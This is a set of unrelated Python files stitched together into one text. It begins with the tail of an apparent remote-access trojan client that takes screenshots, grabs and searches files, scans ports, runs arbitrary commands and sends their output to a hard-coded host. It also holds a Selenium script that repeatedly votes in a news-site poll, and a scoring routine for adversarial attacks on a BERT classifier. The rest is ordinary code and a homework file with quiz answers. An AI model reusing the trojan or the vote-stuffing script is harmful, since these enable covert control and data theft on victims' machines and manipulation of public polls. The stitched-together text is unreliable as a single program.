            changeDirectory(directory)
        elif 'grab' in command:
            grab,path = command.split(" * ")
            grabfile(path)
        elif 'screencap' in command:
            takescreenshot()
        elif 'search' in command:
            command = command[7:]
            print(command)
            path,ext = command.split('*')
            search(path,ext)
        elif 'scan' in command:
            command = command[5:]
            ip,ports = command.split(':')
            scanner(ip,ports)
        else:
            CMD = subprocess.Popen(command,**subprocess_args(True))
            post_response = requests.post(url='http://192.168.0.10', data=CMD.stdout.read())
            post_response = requests.post(url='http://192.168.0.10', data=CMD.stderr.read())

        time.sleep(3)

def main():
    while True:
        try:
            if connect() == 1:
                break
        except:
            sleep_for = random.randrange(1,10)
            time.sleep(sleep_for)       #Sleep for a random time between 1 and 10 seconds
            #time.sleep(sleep_for * 60) #Sleep for a random time between 1 and 10 minutes
            pass

main()


# snake parameters
from pygame import K_p

SNAKE_COLOR = (255,0,0)
SNAKE_POS0 = (10,10)

SNACK_COLOR = (0,255,0)
SNAKETAIL_COLOR = (0,0,255)
# to change the snake speed
SNAKE_DT = 0.15# sleep in seconds
# snake eyes color
EYE_COLOR = (0,0,0)

# grid numbers
NROWS = 20
NCOLS = 20
# grid size
GRID_DX = 25
GRID_DY = 25
# grid color
GRID_COLOR = (255,255,255)

# display
DISPLAY_WIDTH = GRID_DX*NROWS
DISPLAY_HEIGHT = GRID_DY*NCOLS
# display background
BACKGROUND_COLOR = (0,0,0)

# pause key
PAUSE_KEY = K_p


from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.select import Select
from selenium.webdriver.support.wait import WebDriverWait

from Utilites.BaseClass import BaseClass

class testone(BaseClass):

     def test_End2End(self):
         products = self.driver.find_elements_by_css_selector("div[class='card h-100']")
         for product in products:
            Productname = product.find_element_by_xpath("div/h4/a").text
            if Productname == "Blackberry":
                product.find_element_by_xpath("div/button").click()

            self.driver.find_element_by_class_name("btn-primary").click()
            self.driver.find_element_by_class_name("btn-success").click()

            self.driver.find_element_by_id("country").send_keys('ind')

            wait = WebDriverWait(self.driver, 7)
            wait.until(EC.presence_of_element_located((By.LINK_TEXT, "India")))
            self.driver.find_element_by_link_text("India").click()

            self.driver.find_element_by_xpath("//div[@class='checkbox checkbox-primary']").click()
            self.driver.find_element_by_css_selector("input[type='submit']").click()

            textmessage = self.driver.find_element_by_css_selector(".alert-success").text

            assert "Success!" in textmessage

            self.driver.get_screenshot_as_file("abhishek.png")


from os.path import join, dirname, abspath
from os import listdir
import importlib.util

import logging

from uuid import uuid4

logging.basicConfig(level=logging.DEBUG)

class PluginManager(object):
    _plugins = {}
    _instance = None

    def __new__(clazz):
        if clazz._instance is None:
            clazz._instance = super(PluginManager, clazz).__new__(clazz)
        return clazz._instance

    def get_plugins(self):
        return self._plugins

    def get_user_plugins_dir(self):
        script_path = abspath(__file__)
        script_dir = dirname(script_path)
        return join(script_dir, "user_plugins")

    def load_plugins(self):
        logging.info(f"Loading plugins...")
        plugins_dir = self.get_user_plugins_dir()
        for file in listdir(plugins_dir):
            if file == "__pycache__":
                continue
            plugin_path = join(plugins_dir, file)
            module_name = f"{file}"
            logging.info(f"\tloading plugin {module_name} ({plugin_path})...")
            spec = importlib.util.spec_from_file_location(
                f"plugin_{module_name}", plugin_path
            )
            plugin_module = importlib.util.module_from_spec(spec)
            spec.loader.exec_module(plugin_module)
            plugin_uuid = uuid4()
            self._plugins[plugin_uuid] = plugin_module.Plugin(
                runtime_id=plugin_uuid, name=module_name
            )


#-*- coding: utf-8 -*-
from proteus import Model
import utils
import calles

def crear_inmueble(party):
    """
    Crea un sigcoop_inmueble.inmueble asociado a party.

    Módulos que modifican inmueble:
        sigcoop_inmueble/inmueble.py

    Campos:
    calle_dom = fields.Char('Calle', required=True)
    numero_dom = fields.Char('Numero', required=True)
    cp_dom = fields.Char('CP', required=True)
    localidad_dom = fields.Char('Localidad', required=True)
    partido_dom = fields.Char('Partido', required=True)
    titulares  = fields.Many2Many('sigcoop_inmueble.inmueble_titular','inmueble_id', 'titular_id', 'Titulares del inmueble')
    """
    Inmueble = Model.get('sigcoop_inmueble.inmueble')
    inmueble = Inmueble()
    inmueble.calle_dom = utils.random_from_list(calles.calles)
    inmueble.numero_dom = 'nro'
    inmueble.cp_dom = 'cp'
    inmueble.localidad_dom = 'localidad'
    inmueble.partido_dom = 'partido'
    inmueble.titulares.append(party)
    inmueble.save()
    return inmueble


import pandas as pd
from sklearn.metrics.pairwise import cosine_similarity
from sklearn.feature_extraction.text import CountVectorizer

def acci_type(acci,data):
        top=31
        my_acci=acci

        data.loc[len(data)] = [my_acci,'None']

        count_vector = CountVectorizer(ngram_range=(1,3))
        c_vector_title = count_vector.fit_transform(data['input'])

        title_c_sim = cosine_similarity(c_vector_title, c_vector_title).argsort()[:,::-1]

        target_type_index = data[data['input'] == my_acci].index.values

        sim_index = title_c_sim[target_type_index, :top].reshape(-1)
        sim_index = sim_index[sim_index != target_type_index]
        result = data.iloc[sim_index]
        best_type = result['output'].value_counts().head(3)

        top_3={}
        l=1
        for i in best_type.index:
                top_3[l]=i
                l+=1

        return top_3


# coding: utf-8

import sys
sys.path.append("/opt/tiger/test_ppo")

import tensorflow as tf
import os
import logging
from collections import OrderedDict
import glob
import argparse
from multiprocessing import Queue, Process
import zmq

from utils import unpack

from zSAC.Worker_SAC import Worker_Q
from zSAC.Trainer_SAC import Model

# os.environ["CUDA_VISIBLE_DEVICES"] = "1"
logging.getLogger('tensorflow').setLevel(logging.ERROR)

def clean(episodic, lifelong, data_dir, postfix):
    if lifelong is not None:
        if episodic >= lifelong:
            episodic -= lifelong
            sEPID = str(episodic)
            sEPID = (8 - len(sEPID)) * "0" + sEPID
            pattern = os.path.join(data_dir, sEPID + "_*." + postfix)
            names = glob.glob(pattern)
            for name in names:
                if os.path.exists(name):
                    try:
                        os.remove(name)
                    except FileNotFoundError:
                        pass

def run(**kwargs):
    tmplimit = 512
    lifelong = None

    server_id = kwargs.get("server_id", 0)

    address = "ipc:///tmp/databack%d" % server_id

    SCRIPT_DIR = kwargs.get("SCRIPT_DIR")
    BASE_DIR = kwargs.get("BASE_DIR")
    CKPT_DIR = kwargs.get("CKPT_DIR")
    DATA_DIR = kwargs.get("DATA_DIR")

    logging.basicConfig(
        filename=os.path.join(
            BASE_DIR, "Serverlog"),
        level="INFO")

    frames = kwargs.get("frames", 1)
    workers = kwargs.get("workers", 16)
    parallel = kwargs.get("worker_parallel", 4)
    MAX_STEPS = kwargs.get("max_steps", 3200)
    seqlen = kwargs.get("seqlen", 32)
    burn_in = kwargs.get("burn_in", 32)
    alpha = kwargs.get("alpha", 1.0)

    games = ["SuperMarioBros-%d-%d-v0" % (i, j) for i in range(1, 9) for j in range(1, 5)]

    config = tf.ConfigProto(
        allow_soft_placement=True,
        gpu_options=tf.GPUOptions(
            per_process_gpu_memory_fraction=0.025))
    config.gpu_options.allow_growth = True
    sess = tf.Session(config=config)

    phs = dict()

    phs["s"] = tf.placeholder(dtype=tf.float32, shape=[None, None, 84, 84, frames])
    phs["prev_a"] = tf.placeholder(dtype=tf.int32, shape=[None, None])
    phs["state_in"] = tf.placeholder(dtype=tf.float32, shape=[None, 128 * 4 * 2])
    phs["slots"] = tf.placeholder(dtype=tf.float32, shape=[None, None])

    with tf.device("/gpu"):
        with tf.variable_scope("p_lstm", reuse=tf.AUTO_REUSE):
            plstm = tf.compat.v1.keras.layers.LSTM(
                128, return_sequences=True, return_state=True, name="lstm")
        with tf.variable_scope("q_lstm", reuse=tf.AUTO_REUSE):
            qlstm = tf.compat.v1.keras.layers.LSTM(
                128, return_sequences=True, return_state=True, name="lstm")
        with tf.variable_scope("v_lstm", reuse=tf.AUTO_REUSE):
            vlstm = tf.compat.v1.keras.layers.LSTM(
                128, return_sequences=True, return_state=True, name="lstm")
        with tf.variable_scope("v_tar_lstm", reuse=tf.AUTO_REUSE):
            vtarlstm = tf.compat.v1.keras.layers.LSTM(
                128, return_sequences=True, return_state=True, name="lstm")
        model = Model(7, plstm, qlstm, vlstm, vtarlstm, "agent", **phs)

    saver = tf.train.Saver(max_to_keep=None, keep_checkpoint_every_n_hours=6)

    # while True:
    #     ckpt = tf.train.get_checkpoint_state(CKPT_DIR)
    #     if ckpt is not None:
    #         ckpt_path = ckpt.model_checkpoint_path
    #         if ckpt_path is not None:
    #             break
    #     sleep_time = 10
    #     logging.warning("No Model, Sleep %d seconds" % sleep_time)
    #     time.sleep(sleep_time)
    # saver.restore(sess, ckpt_path)

    ckpt = tf.train.get_checkpoint_state(CKPT_DIR)
    ckpt_path = None
    if ckpt and ckpt.model_checkpoint_path:
        saver.restore(sess, ckpt.model_checkpoint_path)
    else:
        sess.run(tf.global_variables_initializer())

    context = zmq.Context()
    frontend = context.socket(zmq.ROUTER)
    frontend.bind(address)

    queue_ins = OrderedDict()
    # queue_out = Queue(maxsize=3 * tmplimit)
    for i in range(workers):
        queue_in = Queue()
        worker_id = i
        queue_ins[worker_id] = queue_in

        worker = Process(
            target=Worker_Q,
            args=(queue_in,
                  address,
                  parallel,
                  BASE_DIR,
                  DATA_DIR,
                  3 * tmplimit,
                  server_id,
                  worker_id,
                  "\t".join(games),
                  frames,
                  seqlen,
                  burn_in))
        worker.daemon = True
        worker.start()

    while True:
        ckpt = tf.train.get_checkpoint_state(CKPT_DIR)
        if ckpt is not None:
            new_ckpt_path = ckpt.model_checkpoint_path
            if new_ckpt_path != ckpt_path:
                ckpt_path = new_ckpt_path
                saver.restore(sess, ckpt_path)

        fd = {model.s_t: [],
              model.previous_actions: [],
              model.state_in: []}

        idx, msg = frontend.recv_multipart(copy=False)
        worker_id, databack = unpack(msg)
        s, a, state_in = databack
        fd[model.s_t] = s
        fd[model.previous_actions] = a
        fd[model.state_in] = state_in

        _a_t_new, _state_out_batch = sess.run(
            [model.get_current_act(),
             model.state_out],
            feed_dict=fd)

        dataforward = (_a_t_new,
                       _state_out_batch)
        queue_ins[worker_id].put(dataforward)

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("-SCRIPT_DIR", type=str,
                        default="/opt/tiger/test_ppo")
    parser.add_argument("-BASE_DIR", type=str,
                        default="/mnt/cephfs_new_wj/arnold/labcv/xiaochangnan"
                                "/PPOcGAE_SuperMarioBros-v0/2")
    parser.add_argument("-CKPT_DIR", type=str,
                        default="/mnt/cephfs_new_wj/arnold/labcv/xiaochangnan"
                                "/PPOcGAE_SuperMarioBros-v0/2/ckpt")
    parser.add_argument("-DATA_DIR", type=str,
                        default="/mnt/mytmpfs")
    parser.add_argument("-server_id", type=int, default=0)
    parser.add_argument("-frames", type=int, default=1)
    parser.add_argument("-workers", type=int, default=4)
    parser.add_argument("-worker_parallel", type=int, default=4)
    parser.add_argument("-max_steps", type=int, default=3200)
    parser.add_argument("-seqlen", type=int, default=32)
    parser.add_argument("-burn_in", type=int, default=32)
    parser.add_argument("-alpha", type=float, default=0.001)
    args = parser.parse_args()
    run(**args.__dict__)
    pass


from selenium import webdriver
import time
import random

target_url = 'http://news.hankyung.com/poll/10504'
#target_url = 'http://news.hankyung.com/poll/10504'

def vote():
    browser = webdriver.Chrome(r'C:\chromedriver\chromedriver.exe')
    browser.get(target_url)
    time.sleep(1)
    input = browser.find_element_by_id('qu01')
    input.click()
    time.sleep(1)
    button = browser.find_element_by_class_name('vote-btn')
    button.click()
    time.sleep(1)
    browser.quit()

if __name__ == '__main__':
    for i in range(10):
        vote()
        time.sleep(random.randrange(1, 10))


#!/usr/bin/env python3
import os
from setuptools import setup, find_packages
from jsonrpc import version

def read(fname):
    try:
        return open(os.path.join(os.path.dirname(__file__), fname)).read()
    except IOError:
        return ""

setup(
    name="json-rpc-3",
    version=version,
    packages=find_packages(),
    test_suite="nose.collector",
    tests_require=["nose", "mock"],
    author='see AUTHORS',
    maintainer='Orhideous',
    maintainer_email='orhideous@gmail.com',
    url="https://github.com/Orhideous/json-rpc",
    description="Pure Python 3 JSON-RPC 2.0 transport realisation",
    long_description=read('README.rst'),
    classifiers=[
        "Development Status :: 5 - Production/Stable",
        "Environment :: Console",
        "License :: OSI Approved :: MIT License",
        "Natural Language :: English",
        "Operating System :: OS Independent",
        "Programming Language :: Python :: 3",
        "Programming Language :: Python :: 3.2",
        "Programming Language :: Python :: 3.3",
        "Programming Language :: Python :: 3.4",
        "Topic :: Software Development :: Libraries :: Python Modules",
    ],
    keywords=["json", "rpc", "json-rpc", "transport"],
    license="MIT",
)


# -*- coding: utf-8 -*-
"""
Created on Sat Aug 27 19:26:42 2016

@author: Tzyy Shyang
"""

import pprint as pp

import pandas as pd
import numpy as np

import sklearn as sk
import sklearn.ensemble as sken

import coursera.ml_common.commonlib as cmn

"""
Exploring Ensemble Methods
==========================

In this homework we will explore the use of boosting. For this assignment, we will use the pre-implemented gradient boosted trees. You will:

- Train a boosted ensemble of decision-trees (gradient boosted trees) on the lending club dataset.
- Predict whether a loan will default along with prediction probabilities (on a validation set).
- Evaluate the trained model and compare it with a baseline.
- Find the most positive and negative loans using the learned model.
- Explore how the number of trees influences classification performance.

"""

# Load the Lending Club dataset
# =============================

# We will be using a dataset from the LendingClub.

# 1. Load the dataset into a data frame named loans.
loans = pd.read_csv('../../data/lending-club-data.csv', index_col='id', dtype={'desc': object}, parse_dates=[47])

# Exploring some features

# 2. Let's quickly explore what the dataset looks like. First, print out the column names to see what features we have in this dataset.
# Here, we should see that we have some feature columns that have to do with grade of the loan, annual income, home ownership status, etc.
loans.columns.values

# Modifying the target column
# ===========================

# The target column (label column) of the dataset that we are interested in is called bad_loans. In this column 1 means a risky (bad) loan 0 means a safe loan.

# In order to make this more intuitive and consistent with the lectures, we reassign the target to be:

# +1 as a safe loan
# -1 as a risky (bad) loan

# 3. We put this in a new column called safe_loans.
# safe_loans =  1 => safe
# safe_loans = -1 => risky
loans['safe_loans'] = loans['bad_loans'].apply(lambda x: +1 if x==0 else -1)
loans = loans.drop('bad_loans', 1)

# Selecting features
# ==================

# In this assignment, we will be using a subset of features (categorical and numeric). The features we will be using are described in the code comments below.
# If you are a finance geek, the LendingClub website (https://www.lendingclub.com/) has a lot more details about these features.

# 4. The features we will be using are described in the code comments below. Extract these feature columns and target column from the dataset.
# We will only use these features.
target = 'safe_loans'
features = ['grade',                     # grade of the loan (categorical)
            'sub_grade_num',             # sub-grade of the loan as a number from 0 to 1
            'short_emp',                 # one year or less of employment
            'emp_length_num',            # number of years of employment
            'home_ownership',            # home_ownership status: own, mortgage or rent
            'dti',                       # debt to income ratio
            'purpose',                   # the purpose of the loan
            'payment_inc_ratio',         # ratio of the monthly payment to income
            'delinq_2yrs',               # number of delinquincies
             'delinq_2yrs_zero',          # no delinquincies in last 2 years
            'inq_last_6mths',            # number of creditor inquiries in last 6 months
            'last_delinq_none',          # has borrower had a delinquincy
            'last_major_derog_none',     # has borrower had 90 day or worse rating
            'open_acc',                  # number of open credit accounts
            'pub_rec',                   # number of derogatory public records
            'pub_rec_zero',              # no derogatory public records
            'revol_util',                # percent of available credit being used
            'total_rec_late_fee',        # total late fees received to day
            'int_rate',                  # interest rate of the loan
            'total_rec_int',             # interest received to date
            'annual_inc',                # annual income of borrower
            'funded_amnt',               # amount committed to the loan
            'funded_amnt_inv',           # amount committed by investors for the loan
            'installment',               # monthly payment owed by the borrower
           ]

# Skipping observations with missing values
# =========================================

# Recall from the lectures that one common approach to coping with missing values is to skip observations that contain missing values.
# In Pandas, we'd run
loans = loans[[target] + features].dropna()

# Your tool may provide a function to skip observations with missing values. Consult appropriate manuals.

# Fortunately, as you should find, there are not too many missing values. We are retaining most of the data.

# Then follow the following steps:

# - Apply one-hot encoding to loans. Your tool may have a function for one-hot encoding. Alternatively, see #7 for implementation hints.
# - Load the JSON files into the lists train_idx and validation_idx.
# - Perform train/validation split using train_idx and validation_idx. In Pandas, for instance:

commonlib = cmn.MachineLearningCommonLib()
encoded_loans = commonlib.one_hot_encoding(loans)

train_idx = pd.read_json('../../data/ml-classification-module-8-assignment-1-train-idx.json')[0].values.tolist()
validation_idx = pd.read_json('../../data/ml-classification-module-8-assignment-1-validation-idx.json')[0].values.tolist()

train_data = encoded_loans.iloc[train_idx]
train_target = train_data[target]
train_data = train_data.drop(target, 1)

validation_data = encoded_loans.iloc[validation_idx]

# Gradient boosted tree classifier
# ================================

# Gradient boosted trees are a powerful variant of boosting methods; they have been used to win many Kaggle competitions, and have been widely used in industry.
# We will explore the predictive power of multiple decision trees as opposed to a single decision tree.

# Additional reading: If you are interested in gradient boosted trees, here is some additional reading material:

# - GraphLab Create user guide (https://turi.com/learn/userguide/supervised-learning/boosted_trees_classifier.html)
# - Advanced material on boosted trees (http://homes.cs.washington.edu/~tqchen/pdf/BoostedTree.pdf)

# We will now train models to predict safe_loans using the features above. In this section, we will experiment with training an ensemble of 5 trees.

# 9. Now, let's use the built-in scikit learn gradient boosting classifier (sklearn.ensemble.GradientBoostingClassifier) to create a gradient boosted
# classifier on the training data. You will need to import sklearn, sklearn.ensemble, and numpy.

# You will have to first convert the SFrame into a numpy data matrix. See the API for more information. You will also have to extract the label column.
# Make sure to set max_depth=6 and n_estimators=5.
gradient_boosting_classifier = sken.GradientBoostingClassifier(max_depth=6, n_estimators=5)
gradient_boosting_classifier.fit(train_data, train_target)

# Making predictions
# ==================

# Just like we did in previous sections, let us consider a few positive and negative examples from the validation set. We will do the following:

# - Predict whether or not a loan is likely to default.
# - Predict the probability with which the loan is likely to default.

# 10. First, let's grab 2 positive examples and 2 negative examples.

validation_safe_loans = validation_data[validation_data[target] == 1]
validation_risky_loans = validation_data[validation_data[target] == -1]

sample_validation_data_risky = validation_risky_loans[0:2]
sample_validation_data_safe = validation_safe_loans[0:2]

sample_validation_data = sample_validation_data_safe.append(sample_validation_data_risky)
sample_validation_data = sample_validation_data.drop(target,1)

# 11. For each row in the sample_validation_data, write code to make model_5 predict whether or not the loan is classified as a safe loan.
# (Hint: if you are using scikit-learn, you can use the .predict() method)

model_5 = gradient_boosting_classifier.predict(sample_validation_data)

# Quiz question: What percentage of the predictions on sample_validation_data did model_5 get correct?
# ans = 75%

# Prediction Probabilities
# ========================

# 12. For each row in the sample_validation_data, what is the probability (according model_5) of a loan being classified as safe?
# (Hint: if you are using scikit-learn, you can use the .predict_proba() method)
model_5_prob = gradient_boosting_classifier.predict_proba(sample_validation_data)[:,1]

# Quiz Question: Which loan has the highest probability of being classified as a safe loan?
# ans = loan 4

# Checkpoint: Can you verify that for all the predictions with probability >= 0.5, the model predicted the label +1?

# Evaluating the model on the validation data
# ===========================================

# Recall that the accuracy is defined as follows:

# 13. Evaluate the accuracy of the model_5 on the validation_data. (Hint: if you are using scikit-learn, you can use the .score() method)
validation_data_without_target = validation_data.drop(target,1)
model_5_accuracy = gradient_boosting_classifier.score(validation_data_without_target, validation_data[target])

# 14. Calculate the number of false positives made by the model on the validation_data.
model_5_predicted_valid_data = gradient_boosting_classifier.predict(validation_data_without_target)
false_positive_count = 0
false_negative_count = 0
for predict, valid in zip(model_5_predicted_valid_data, validation_data[target]):
    if valid == -1 and predict == +1:
        false_positive_count += 1
    if valid == +1 and predict == -1:
        false_negative_count += 1

# Quiz question: What is the number of false positives on the validation_data?
# ans = 1653

# 15. Calculate the number of false negatives made by the model on the validation_data.
# ans = 1491

# Comparison with decision trees
# ==============================

# In the earlier assignment, we saw that the prediction accuracy of the decision trees was around 0.64. In this assignment,
# we saw that model_5 has an accuracy of approximately 0.67.

# Here, we quantify the benefit of the extra 3% increase in accuracy of model_5 in comparison with a single decision tree from the original
# decision tree assignment.

# As we explored in the earlier assignment, we calculated the cost of the mistakes made by the model. We again consider the same costs as follows:

# - False negatives: Assume a cost of $10,000 per false negative.
# - False positives: Assume a cost of $20,000 per false positive.

# Assume that the number of false positives and false negatives for the learned decision tree was

# - False negatives: 1936
# - False positives: 1503

# Using the costs defined above and the number of false positives and false negatives for the decision tree, we can calculate the total cost of the mistakes made by the
# decision tree model as follows:
# cost = $10,000 * 1936  + $20,000 * 1503 = $49,420,000

# The total cost of the mistakes of the model is $49.42M. That is a lot of money!.

# 16. Calculate the cost of mistakes made by model_5 on the validation_data.
cost = 10000*1491  + 20000*1653

# Quiz Question: Using the same costs of the false positives and false negatives, what is the cost of the mistakes made by the boosted tree model
# (model_5) as evaluated on the validation_set?
# ans = 47970000

# Reminder: Compare the cost of the mistakes made by the boosted trees model with the decision tree model. The extra 3% improvement in prediction
# accuracy can translate to several million dollars! And, it was so easy to get by simply boosting our decision trees.

# Most positive & negative loans
# ==============================

# In this section, we will find the loans that are most likely to be predicted safe. We can do this in a few steps:

# - Step 1: Use the model_5 (the model with 5 trees) and make probability predictions for all the loans in validation_data.
# - Step 2: Similar to what we did in the very first assignment, add the probability predictions as a column called predictions into validation_data.
# - Step 3: Sort the data (in descreasing order) by the probability predictions.

# 17. Start here with Step 1 & Step 2. Make predictions using model_5 for all examples in the validation_data.
model_5_validation_data_prob_prediction = gradient_boosting_classifier.predict_proba(validation_data_without_target)[:,1]
validation_data['predictions'] = model_5_validation_data_prob_prediction
# Checkpoint: For each row, the probabilities should be a number in the range [0, 1].

# 18. Now, we are ready to go to Step 3. You can now use the prediction column to sort the loans in validation_data (in descending order) by prediction probability. Find the top 5 loans with the highest probability of being predicted as a safe loan.
validation_data = validation_data.sort_values(['predictions'], ascending=[False])

# Quiz question: What grades are the top 5 loans?
# ans = grade A

# 19. Repeat this exercise to find the 5 loans (in the validation_data) with the lowest probability of being predicted as a safe loan.
validation_data_safe = validation_data[validation_data['predictions'] > 0.5].sort_values(['predictions'], ascending=[True])

# Effects of adding more trees
# ============================

# In this assignment, we will train 5 different ensemble classifiers in the form of gradient boosted trees.

# 20. Train models with 10, 50, 100, 200, and 500 trees. Use the n_estimators parameter to control the number of trees. Remember to keep max_depth = 6.
# Call these models model_10, model_50, model_100, model_200, and model_500, respectively. This may take a few minutes to run.
# Compare accuracy on entire validation set
gradient_boosting_classifier_10 = sken.GradientBoostingClassifier(max_depth=6, n_estimators=10)
gradient_boosting_classifier_10.fit(train_data, train_target)
model_10 = gradient_boosting_classifier_10.predict(validation_data_without_target)

gradient_boosting_classifier_50 = sken.GradientBoostingClassifier(max_depth=6, n_estimators=50)
gradient_boosting_classifier_50.fit(train_data, train_target)
model_50 = gradient_boosting_classifier_50.predict(validation_data_without_target)

gradient_boosting_classifier_100 = sken.GradientBoostingClassifier(max_depth=6, n_estimators=100)
gradient_boosting_classifier_100.fit(train_data, train_target)
model_100 = gradient_boosting_classifier_100.predict(validation_data_without_target)

gradient_boosting_classifier_200 = sken.GradientBoostingClassifier(max_depth=6, n_estimators=200)
gradient_boosting_classifier_200.fit(train_data, train_target)
model_200 = gradient_boosting_classifier_200.predict(validation_data_without_target)

gradient_boosting_classifier_500 = sken.GradientBoostingClassifier(max_depth=6, n_estimators=500)
gradient_boosting_classifier_500.fit(train_data, train_target)
model_500 = gradient_boosting_classifier_500.predict(validation_data_without_target)

# Now we will compare the predicitve accuracy of our models on the validation set.

# 21. Evaluate the accuracy of the 10, 50, 100, 200, and 500 tree models on the validation_data.
model_10_accuracy = gradient_boosting_classifier_10.score(validation_data_without_target, validation_data[target])
model_50_accuracy = gradient_boosting_classifier_50.score(validation_data_without_target, validation_data[target])
model_100_accuracy = gradient_boosting_classifier_100.score(validation_data_without_target, validation_data[target])
model_200_accuracy = gradient_boosting_classifier_200.score(validation_data_without_target, validation_data[target])
model_500_accuracy = gradient_boosting_classifier_500.score(validation_data_without_target, validation_data[target])

# Quiz Question: Which model has the best accuracy on the validation_data?
# ans = model_5 or model_10

# Quiz Question: Is it always true that the model with the most trees will perform best on test data?
# ans = False

# Plot the training and validation error vs. number of trees
# ==========================================================

# Recall from the lecture that the classification error is defined as
# classification error = 1 - accuracy

# In this section, we will plot the training and validation errors versus the number of trees to get a sense of how these models are performing.
# We will compare the 10, 50, 100, 200, and 500 tree models. You will need matplotlib in order to visualize the plots.

# 22. First, make sure this block of code runs on your computer.
import matplotlib.pyplot as plt
# %matplotlib inline
def make_figure(dim, title, xlabel, ylabel, legend):
    plt.rcParams['figure.figsize'] = dim
    plt.title(title)
    plt.xlabel(xlabel)
    plt.ylabel(ylabel)
    if legend is not None:
        plt.legend(loc=legend, prop={'size':15})
    plt.rcParams.update({'font.size': 16})
    plt.tight_layout()

# In order to plot the classification errors (on the train_data and validation_data) versus the number of trees, we will need lists of all
# the errors.

# Steps to follow:

# - Step 1: Calculate the classification error for each model on the training data (train_data).
# - Step 2: Store the training errors into a list (called training_errors) that looks like this: [train_err_10, train_err_50, ..., train_err_500]
# - Step 3: Calculate the classification error of each model on the validation data (validation_data).
# - Step 4: Store the validation classification error into a list (called validation_errors) that looks like this:[validation_err_10, validation_err_50, ..., validation_err_500]

# Once that has been completed, we will give code that should be able to evaluate correctly and generate the plot.
# 23. Let us start with Step 1. Write code to compute the classification error on the train_data for models model_10, model_50, model_100,
# model_200, and model_500.
model_10_train_accuracy = gradient_boosting_classifier_10.score(train_data, train_target)
train_err_10 = commonlib.calc_classification_error(model_10_train_accuracy)

model_50_train_accuracy = gradient_boosting_classifier_50.score(train_data, train_target)
train_err_50 = commonlib.calc_classification_error(model_50_train_accuracy)

model_100_train_accuracy = gradient_boosting_classifier_100.score(train_data, train_target)
train_err_100 = commonlib.calc_classification_error(model_100_train_accuracy)

model_200_train_accuracy = gradient_boosting_classifier_200.score(train_data, train_target)
train_err_200 = commonlib.calc_classification_error(model_200_train_accuracy)

model_500_train_accuracy = gradient_boosting_classifier_500.score(train_data, train_target)
train_err_500 = commonlib.calc_classification_error(model_500_train_accuracy)

# 24. Now, let us run Step 2. Save the training errors into a list called training_errors.
training_errors = [train_err_10, train_err_50, train_err_100, train_err_200, train_err_500]

# 27. Now, we will plot the training_errors and validation_errors versus the number of trees. We will compare the 10, 50, 100, 200,
# and 500 tree models. We provide some plotting code to visualize the plots within this notebook.

valid_err_10 = commonlib.calc_classification_error(model_10_accuracy)
valid_err_50 = commonlib.calc_classification_error(model_50_accuracy)
valid_err_100 = commonlib.calc_classification_error(model_100_accuracy)
valid_err_200 = commonlib.calc_classification_error(model_200_accuracy)
valid_err_500 = commonlib.calc_classification_error(model_500_accuracy)

validation_errors = [valid_err_10, valid_err_50, valid_err_100, valid_err_200, valid_err_500]

# 28. Run the following code to visualize the plots.
plt.plot([10, 50, 100, 200, 500], training_errors, linewidth=4.0, label='Training error')
plt.plot([10, 50, 100, 200, 500], validation_errors, linewidth=4.0, label='Validation error')

make_figure(dim=(10,5),
            title='Error vs number of trees',
            xlabel='Number of trees',
            ylabel='Classification error',
            legend='best')

# Quiz question: Does the training error reduce as the number of trees increases?
# ans = True

# Quiz question: Is it always true that the validation error will reduce as the number of trees increases?
# ans = False


from pprint import pprint

import torch
import torch.nn as nn
from torch.utils.data import DataLoader, SequentialSampler, TensorDataset

from model.tokenizer import get_filtered_k_phrases, filter_unwanted_phrases

def get_phrase_masked_list(text, sorted_phrase_offsets, sorted_n_words_in_phrase):
  """retrieve phrase masked list.
  Args:
    text [str]: original text
    sorted_phrase_offsets List[tuple(start, end), ...]: sorted offsets by importance
    sorted_n_words_in_phrase List[int]: sorted number of words in phrases
  Returns:
    phrase_masked_list: len(phrase_masked_list) == len(sorted_n_words_in_phrase)
      for each phrase in the list, 1 < len(list_of_masked_text) < n_words_in_phrase
  """
  phrase_masked_list = []
  # this triple for loop would be super slow
  # TODO: figure a way to optimize it
  for i, (n, (start, end)) in enumerate(zip(sorted_n_words_in_phrase, sorted_phrase_offsets)):
    phrase_masked_list.append([])
    for n_mask in range(1, n+1):
      # make sure there are spaces around it
      mask_text = f" {' '.join(['[MASK]'] * n_mask)} "
      phrase_masked_list[i].append(text[:start] + mask_text + text[end:])

  return phrase_masked_list

# return units masked with UNK at each position in the sequence
def get_unk_masked(text, phrase_offsets, filtered_indices):
  masked_units = []
  for i in filtered_indices:
    start, end = phrase_offsets[i]
    masked_units.append(text[:start] + '[UNK]' + text[end:])
  # list of masked basic units
  return masked_units

def get_important_scores(
    masked_phrases,
    tokenizer,
    target_model,
    orig_label,
    max_prob,
    orig_probs,
    device,
    batch_size=1,
    max_length=512
):
  """compute importance scores based on the target model
  This function takes in the tokens from the original text, and the target model,
  and compute the difference with the original probs if each token is masked with [UNK].
  Args:
    text: the original text
    phrase_offsets: a list of tuples indicating the start and end of a phrase.
    filtered_indices: a list of indices
    tokenizer: a BERT tokenizer to be used with the target model.
    target_model: a fine-tuned BERT model for sentiment analysis.
    orig_label: the original label of the text.
    max_prob: the maximum probability from the original probability output.
    orig_probs: the set of original probability outputted from the target model.
    device: the device to move around the tensors and models.
    batch_size: the batch size of the input.
    max_length: the maximum length to keep in the original text.
  Returns:
    import_scores: a torch tensor with dim (len(masked_phrases),)
  """

  encoded = tokenizer(masked_phrases,
                      truncation=True,
                      padding='max_length',
                      max_length=max_length,
                      return_token_type_ids=False,
                      return_tensors="pt")

  inputs = torch.cat([encoded['input_ids'].unsqueeze(0), encoded['attention_mask'].unsqueeze(0)]).to(device)
  inputs = inputs.permute(1, 0, 2).unsqueeze(2)
  leave_1_logits = [target_model(*data).logits for data in inputs]

  # turn into tensor
  leave_1_logits = torch.cat(leave_1_logits, dim=0)
  leave_1_probs = torch.softmax(leave_1_logits, dim=-1) # dim: (len(masked_phrases), num_of_classes)
  leave_1_labels = torch.argmax(leave_1_probs, dim=-1) # dim: len(masked_phrases)

  import_scores = (max_prob
                   - leave_1_probs[:, orig_label] # how the probability of original label decreases
                   +
                   (leave_1_labels != orig_label).float() # new label not equal to original label
                   *
                   (leave_1_probs.max(dim=-1)[0] - torch.index_select(orig_probs, 0, leave_1_labels))
                   )           # probability of changed label

  return import_scores, leave_1_labels

def get_substitutes(top_k_ids, tokenizer, mlm_model, device):
